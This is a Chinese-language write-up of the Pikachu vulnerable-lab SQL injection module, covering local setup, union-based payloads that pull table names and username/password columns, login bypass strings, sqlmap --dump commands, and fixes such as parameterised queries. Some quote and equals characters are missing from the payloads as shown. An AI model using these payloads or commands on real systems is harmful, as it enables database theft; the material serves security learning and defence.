ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

Pikachu靶场SQL注入通关笔记:从环境搭建到手工注入与sqlmap验证

Pikachu靶场SQL注入通关笔记:从环境搭建到手工注入与sqlmap验证 手边正好在整理靶场笔记看到Pikachu的SQL注入模块索性把从环境搭建到数字型、字符型、搜索型这几个题目的通关思路完整写下来。对刚开始刷靶场的朋友来说这套题算是性价比很高的一课因为注入的每种形态都有搞懂它后面再看真实业务的注入点会顺很多。Pikachu算是我见过的最适合新手入门的Web漏洞靶场之一SQL注入部分覆盖了POST、GET、搜索、登录绕过、Insert/Update、Delete、HTTP Header等多条链路比单独刷sqli-labs多了一层“业务场景”代入感也更容易理解漏洞出现在真实系统中的样子。这篇笔记会按照我实际做题的顺序整理从搭建靶场开始逐步把SQL注入的判断方法、闭合方式、数据提取流程和常见报错都过一遍。全程用手工注入为主最后补一段sqlmap的加速验证思路。如果你正好在刷Pikachu可以直接照着敲如果你只是想了解SQL注入的完整攻击链路这篇也能帮你建立从“判断”到“脱库”的完整认知。1. 项目概述与环境搭建1.1 为什么拿Pikachu练SQL注入Pikachu是一个开源的Web漏洞测试平台界面很朴素但模块划分非常清楚。它把暴力破解、SQL注入、XSS、CSRF、RCE、文件包含、文件上传、反序列化等常见漏洞都做成了独立的“课程页面”每个漏洞下面还会标注建议的操作方式。这一点对初学者特别友好因为不需要像在真实系统里那样费劲找攻击面所有入口都摆在明面上你只需要专心研究漏洞本身。对比DVWAPikachu的SQL注入模块没有故意设置复杂的安全防护最多就是返回一些报错细节。DVWA在impossible级别里会强制参数化查询Pikachu则保留了“裸奔”的弱过滤或不过滤代码正好适合一层层观察注入是如何把SQL语句“撑开”的。还有一个好处是Pikachu的每个注入场景都带了业务上下文比如“登录绕过”就是给你一个登录表单让你想怎么用万能密码进来而不是像sqli-labs那样纯给一个参数接口理解起来更贴近真实业务。Pikachu的运行依赖PHP和MySQL整个搭建链路大概十分钟就能完成。我在实际做的时候用了Windows本地的phpstudy环境后期为了配合Burp Suite抓包又放在了虚拟机里跑。两种方式都行关键是把数据库连接配置和URL路径理顺。1.2 十分钟搭好一套本地靶场Pikachu的搭建并不复杂我用的是phpstudy集成环境把所有服务面板化省去手动配Apache和PHP的时间。具体步骤下载并安装phpstudy启动Apache和MySQL服务。到Pikachu的开源仓库下载源码压缩包解压后放到Web根目录比如C:\phpstudy_pro\WWW\pikachu。打开inc/config.inc.php把数据库连接的host、username、password改成你本地的实际配置默认通常是define(DB_HOST, 127.0.0.1); define(DB_USER, root); define(DB_PASS, root); define(DB_NAME, pikachu);浏览器访问http://127.0.0.1/pikachu/install.php点安装按钮。安装脚本会自动创建数据库和表结构。安装完成后访问http://127.0.0.1/pikachu/出现Pikachu的首页就说明环境OK。这里有两个容易踩的坑。第一目录名大小写问题我之前把文件夹命名为Pikachu访问URL里却用了小写pikachu在Linux虚拟机里直接404Windows下则不受影响。第二install.php会重设密码和数据库如果之前配置过其他项目注意不要把生产库配置覆盖掉本地靶场用独立数据库名更省心。如果想让宿主机和虚拟机互通虚拟机的网络模式选NAT或桥接都可以重点是关闭防火墙或者放行80端口。常见的情况是虚拟机里能正常打开Pikachu宿主机访问不了十次里有八次是防火墙拦截把入站规则里的80端口打开就能解决。2. SQL注入核心原理与思路拆解2.1 注入的本质条件被拼进去了SQL注入的本质其实非常朴素程序在拼接SQL语句的时候把用户输入当成了可执行代码。正常情况下输入的id应该只代表“一个数字”但在代码里直接写SELECT * FROM users WHERE id$id时$id这部分是原样拼接进去的。举例来说如果你输入id1拼接结果是SELECT * FROM users WHERE id1如果你输入的是id1 or 11拼接结果就变成了SELECT * FROM users WHERE id1 or 11后面这个or 11永远为真等于告诉数据库“条件恒成立”查询结果就不再是某一条数据而是全表内容。这就是所谓的“逻辑被改写”。我习惯用一个生活类比解释给新手听你家门锁验证条件是“指纹匹配并且时间是工作时间”结果攻击者往感应区贴了一张纸条上面写着“指纹匹配或者永远为真”那这道锁就等于摆设置了。SQL注入就是在查询条件上贴了一张“让它恒真”的纸条。为什么现在还有系统存在这种漏洞核心原因有三点一是老代码没有用参数化查询修改成本高二是开发时图省事直接拼接SQL字符串三是数据库账号权限过大甚至直接用root连接应用。Pikachu把这种“错误写法”完整保留了下来就是让你亲眼看看问题出在哪。2.2 数字型、字符型和搜索型到底差在哪Pikachu的SQL注入入口很多但基础类别只有三种数字型、字符型、搜索型。区分它们的关键在于SQL语句中数据是放在什么位置。数字型注入的SQL片段长这样SELECT * FROM users WHERE id 1;此时传入的内容会被直接当成数值参与比较。判断方法很简单输入id1 and 11如果页面正常输入id1 and 12如果页面异常说明and逻辑参与到了查询条件里这就是典型的数字型注入点。字符型注入的SQL片段长这样SELECT * FROM users WHERE name admin;注意这里的值被一对单引号包裹。如果输入nameadmin整个语句会因为多出一个单引号而语法报错。你需要做的是“闭合前文、注释后文”构造出类似nameadmin or 11的语句让数据库认为输入值和字符串判断永远相等。搜索型注入的SQL片段包括模糊匹配SELECT * FROM users WHERE name LIKE %关键字%;输入的关键字会同时被前后两个百分号夹住。注入时同样要处理单引号和百分号比如输入关键字% or 11#拼接后变成LIKE %关键字% or 11##号注释掉末尾的引号使整个查询条件被恒真逻辑接管。三种类型虽然形式不同但判断思路是一致的先试探能不能“破坏原有语法”再尝试“让新逻辑生效”。Pikachu在每个模块标题下都写清了类型但你在真实渗透测试里不会看到这种提示所以我建议做题的时候刻意不依赖页面上的类型说明而是自己用几个payload去试。2.3 关于万能密码与现状说点实际的在Pikachu的登录绕过模块里核心考点就是万能密码。所谓万能密码本质是让登录校验里的密码条件永远成立。比如后端代码写的是SELECT * FROM users WHERE username$username AND password$password;如果我在用户名字段输入admin or 11密码随便填一个x拼接后变成SELECT * FROM users WHERE usernameadmin or 11 AND passwordx;因为or 11为真整个WHERE条件为真数据库返回第一条用户记录登录直接被绕过。早期很多后台管理系统就是这么被攻破的。聊现状的话SQL注入几乎是Web安全领域最“老”的漏洞之一但远没有绝迹。最近我还在公开漏洞库里看到不少业务系统存在注入点的通报其中包括数字化餐饮系统、企业ERP等场景说明很多开发者依然在写拼接SQL。刷Pikachu的万能密码题时不要觉得“太简单没意思”恰恰是这种简单场景在真实世界里最容易出现。3. 实操过程与核心环节实现3.1 数字型注入POST从判断到脱库Pikachu的“数字型注入POST”模块页面是一个查询表单输入id提交后显示对应的用户信息。这个题我要重点讲因为它是所有注入题型里最干净的一条链路。打开页面后用Burp Suite拦截表单提交能看到类似这样的POST请求POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded id1submit%E6%9F%A5%E8%AF%A2判断注入点的第一步是改id值。把id1改成id1如果页面报错或行为异常说明单引号破坏SQL结构。在Pikachu这个模块里id1会直接返回数据库语法错误信息这等于告诉我“注入点存在且错误回显开着”。第二步判断字段列数用order by逐个数id1 order by 1 -- 正常 id1 order by 2 -- 正常 id1 order by 3 -- 正常 id1 order by 4 -- 报错当order by 4报错而order by 3正常时说明原查询结果只有3列。这个步骤是为了后续用union select做联合查询列数必须对齐。第三步确定回显位置。由于id1时页面会显示第一行数据union联合查询的结果藏在第二行未必会被输出。解决办法是故意把id改成一个不存在值比如id-1让前面的查询为空此时union后面的数据自然成为唯一结果id-1 union select 1,2,3页面会把1、2、3分别显示在对应位置我就知道了哪一列可以回显数据。接下来就可以一步步把数据库信息带出来-- 查当前数据库名 id-1 union select 1,database(),3 -- 查数据库版本 id-1 union select 1,version(),3 -- 查所有表名 id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()在Pikachu里执行group_concat(table_name)能看到类似httpinfo,member,message,users这样的列表。继续查某个表的字段名id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers最后把目标字段数据拉出来id-1 union select 1,group_concat(username,0x7e,password),3 from users这里0x7e是~的十六进制用来在拼接结果里加分隔符否则一堆账号密码全黏在一起没法看。整个过程不需要任何工具一个Burp Suite改包就能完成。我实际做的时候习惯把每一步的payload按顺序保存在文本里方便回头对比这也算是一种“做题笔记”的沉淀方式。3.2 字符型注入GET的闭合思路字符型注入在Pikachu里对应的是GET请求URL形如http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?nameadminsubmit%E6%9F%A5%E8%AF%A2页面根据GET参数name去查询用户后端SQL大概长这样SELECT * FROM users WHERE name$name这个闭合思路和数字型完全不一样。你输入nameadminSQL变成SELECT * FROM users WHERE nameadmin末尾两个单引号导致语法错误。正确的处理方式是让前一个单引号闭合字符串再用注释符吃掉末尾的单引号。先判断闭合类型nameadmin and 11拼接后是SELECT * FROM users WHERE nameadmin and 11这条语句语义合法页面正常。再把11改成12页面异常就说明闭合成功注入点成立。列数判断与数字型一样nameadmin order by 3# nameadmin order by 4#注意这里用了#做注释符目的是把SQL语句末尾的注释掉。在浏览器地址栏里直接输入#会被识别为页面锚点不会传到服务器所以需要写成%23或者把注释符换成----后要跟一个空格URL中用代替空格。我建议新手直接用%23省去很多麻烦。回显位置判断时前面查询值必须无效。Pikachu里可以随便写一个不存在的用户名name不存在用户 union select 1,2,3%23然后继续扩展name不存在用户 union select 1,database(),3%23 name不存在用户 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()%23GET型注入有一个细节容易被忽略如果URL里参数和单引号、空格混在一起浏览器和Burp可能会对空格做编码处理。在Burp里操作时可以直接在原始请求包里改不用关心显示上的编码问题但如果你用浏览器插件改包最好先把内容做URL编码。3.3 搜索型注入模糊匹配里的绕过搜索型注入在Pikachu里感觉最像真实业务因为很多网站的搜索框都存在这类问题。页面会搜索用户姓名中包含关键字的数据后端SQL大概是SELECT * FROM users WHERE name LIKE %$keyword%输入l会查出所有姓名中带l的用户。问题在于$keyword被直接嵌进了LIKE字符串前后还有百分号。先做闭合测试输入l% or 11#拼接后是SELECT * FROM users WHERE name LIKE %l% or 11##注释掉末尾的%整个条件变成“名字中包含l或者恒真”结果会把全表数据都返回。Pikachu页面会直接列出所有用户此时就能确认闭合成功。如果想走union注入套路和字符型类似只是要额外处理前导的%。比如任意不存在的关键字 union select 1,2,3#拼接后是SELECT * FROM users WHERE name LIKE %任意不存在的关键字 union select 1,2,3#因为前面的LIKE条件查不到数据union的结果就会显示在页面上。后面查库名、表名、字段名的流程和前面一样。搜索型注入最容易踩的坑是忽略百分号的语义。如果你输入l or 11#而不带前面的l%SQL会变成LIKE %l or 11#虽然也能注但你要明白自己闭合的是“左半边的单引号”后面的%已经被#注释掉了。做题时多想想拼接后的完整形态比死记payload重要得多。3.4 用sqlmap加速确认与批量验证手工注入适合理解原理但在实际测试中时间有限sqlmap是很好的加速工具。Pikachu的SQL注入模块用sqlmap基本都能一把梭所以它也是新手学习sqlmap参数的绝佳“试验田”。最简单的用法是直接指定带参数的URLsqlmap -u http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?nameadmin --dbs --batch--dbs表示枚举数据库--batch表示遇到交互提示时自动使用默认选项避免sqlmap反复问你“是否继续”。第一次跑的时候会花一点时间做注入检测看到“the back-end DBMS is MySQL”就说明成功识别出后端数据库。如果你习惯用Burp抓包把原始请求保存成文件再让sqlmap读取请求包会更稳妥sqlmap -r req.txt --dbs --batch这种方式会把POST参数、Cookie、Header都带进去适合处理复杂的登录态请求。拿到数据库名之后继续枚举表名和字段sqlmap -u http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?nameadmin -D pikachu --tables --batch sqlmap -u http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?nameadmin -D pikachu -T users --columns --batch sqlmap -u http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?nameadmin -D pikachu -T users --dump --batch--dump会把整个表的数据导出来。sqlmap默认会做很多自动判断如果遇到页面返回加密或编码的情况可以配合--level和--risk提高测试深度但Pikachu用默认参数就足够了。我自己的习惯是先用手工注入把关键逻辑走一遍再用sqlmap去验证结果是否一致。用sqlmap不是为了让做题变“简单”而是为了建立自动化工具的直觉——知道它为什么能识别出注入点背后其实就是在做我们前面手工做的那些判断。4. 常见问题与排查技巧实录4.1 几个新手很容易卡壳的注入细节做题过程里最常遇到的不是“不会注入”而是“明明payload看着没问题页面就是不出数据”。我整理了几个典型情况第一union查询回显不出来。数字型注入中直接输入id1 union select 1,2,3页面可能只显示原来的数据union部分不显示。这不是注入失败而是前面的id1查到了数据页面只渲染第一条。需要把id改成不存在的值比如id-1让union结果成为唯一输出。这个坑我在Pikachu数字型模块里踩过两次后来就养成了习惯凡是联合查询先让主查询结果为空。第二注释符被URL解析吃掉。在GET型注入中#在浏览器地址栏里会被识别为锚点根本不会发送到服务器。解决办法是用%23替代或者用--。--后必须有一个空格有时浏览器会忽略空格要么手工加要么对空格做URL编码。在Burp里改包则不需要太担心直接把原始内容放进去就行。第三搜索型注入时漏掉前导百分号。搜索型SQL的完整结构是%关键字%如果只考虑闭合单引号而不考虑左边的百分号有些场景下会导致查询结果不对。我吃过的亏是输入 or 11#结果是能出数据但返回字段错乱后来才意识到关键字前面的%也需要被消化在闭合逻辑里。第四报错信息里中文乱码。Pikachu的数据库默认字符集和页面编码偶尔不一致查询出中文用户名时显示乱码。此时可以把字符串转成十六进制再查询比如用0x7e做分隔符、用hex()函数查看编码值避免依赖页面直接显示。4.2 网络与靶场连接问题汇总搭建Pikachu和做注入的过程中如果环境有问题再好的payload也白搭。我遇到过的问题可以汇总成一张速查表现象常见原因解决办法http://127.0.0.1/pikachu/打不开Apache或MySQL服务未启动在phpstudy里确认两个服务都是绿色运行状态页面能打开但提示数据库连接失败config.inc.php里的账号密码不对改成phpstudy里实际的MySQL账号密码虚拟机中能打开但宿主机无法访问防火墙拦截或网络模式不通关闭防火墙或放行80端口网络模式选桥接/NAT打开install.php后一直转圈数据库连接失败或PHP版本过高换PHP 5.6或7.x版本部分PHP 8.x对旧代码兼容性差网站路径名与URL大小写不一致Linux下大小写敏感严格核对目录名建议全部用小写命名sqlmap跑不通但手工可以注入URL参数多了隐藏字段或Cookie用Burp完整抓包-r req.txt方式让sqlmap读取原始请求还有一个环境层面的建议不要在真实服务器上搭Pikachu。靶场本身就是故意留了漏洞的代码加上默认配置往往使用弱口令一旦暴露在公网等于是给攻击者送靶子。我见过有人图省事把靶场部署到云服务器上结果第二天数据库就被脱了。这种学习环境隔离在本地虚拟机里是最稳妥的做法。4.3 从通关到加固别只满足于shell打完Pikachu的SQL注入题最重要的不是记录“怎么把数据拿出来”而是转过头去看Pikachu源码里那几行不安全的SQL语句然后思考在真实项目里应该怎么写。Pikachu的源码路径一般在vul/sqli下面打开对应的PHP文件你能看到直接的字符串拼接。这是最直观的“漏洞现场”。与之对应的修复思路有三层第一层是使用参数化查询。以PHP PDO为例$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([:id $id]);数据库会把SQL结构预先解析好用户输入只作为参数值参与执行不再可能改变语句结构。这条防线能挡住绝大多数SQL注入。第二层是输入校验。对数值型参数用intval()强转对字符串型参数做白名单或过滤。校验不是主要防线但可以配合参数化查询减少异常数据进入业务逻辑。第三层是数据库权限收敛。应用连接数据库的账号不要用root尽量只给它操作业务库的SELECT/INSERT/UPDATE/DELETE权限让注入即使发生也无法读取information_schema之外的敏感内容。这一层在实际生产环境里经常被忽略很多系统明明用了预编译却因为数据库账号权限过大被注入后照样拖走全库数据。我个人在刷完Pikachu之后最大的体会是SQL注入的攻防其实是一场“谁能控制输入语义”的对抗。做题时你作为攻击方需要绞尽脑汁让参数改变SQL逻辑写代码时你是防守方就要让参数永远只被当成值而不是代码。带着这种双向视角去刷完整个SQL注入模块比单纯记住几十个payload有价值得多。Pikachu的好处正在于它把所有错误写法摆在台面上让你清楚看到漏洞是怎么产生的也就知道修复时该从哪下手。最后再给一条实用建议做题的时候把每一次成功的payload和对应的SQL拼接结果记录下来形成自己的payload笔记。这份笔记在以后做代码审计或漏洞复核时非常有用因为它记录了“什么样的输入能造成什么样的SQL形态”而这是抽象读多少遍代码都换不来的手感。
返回列表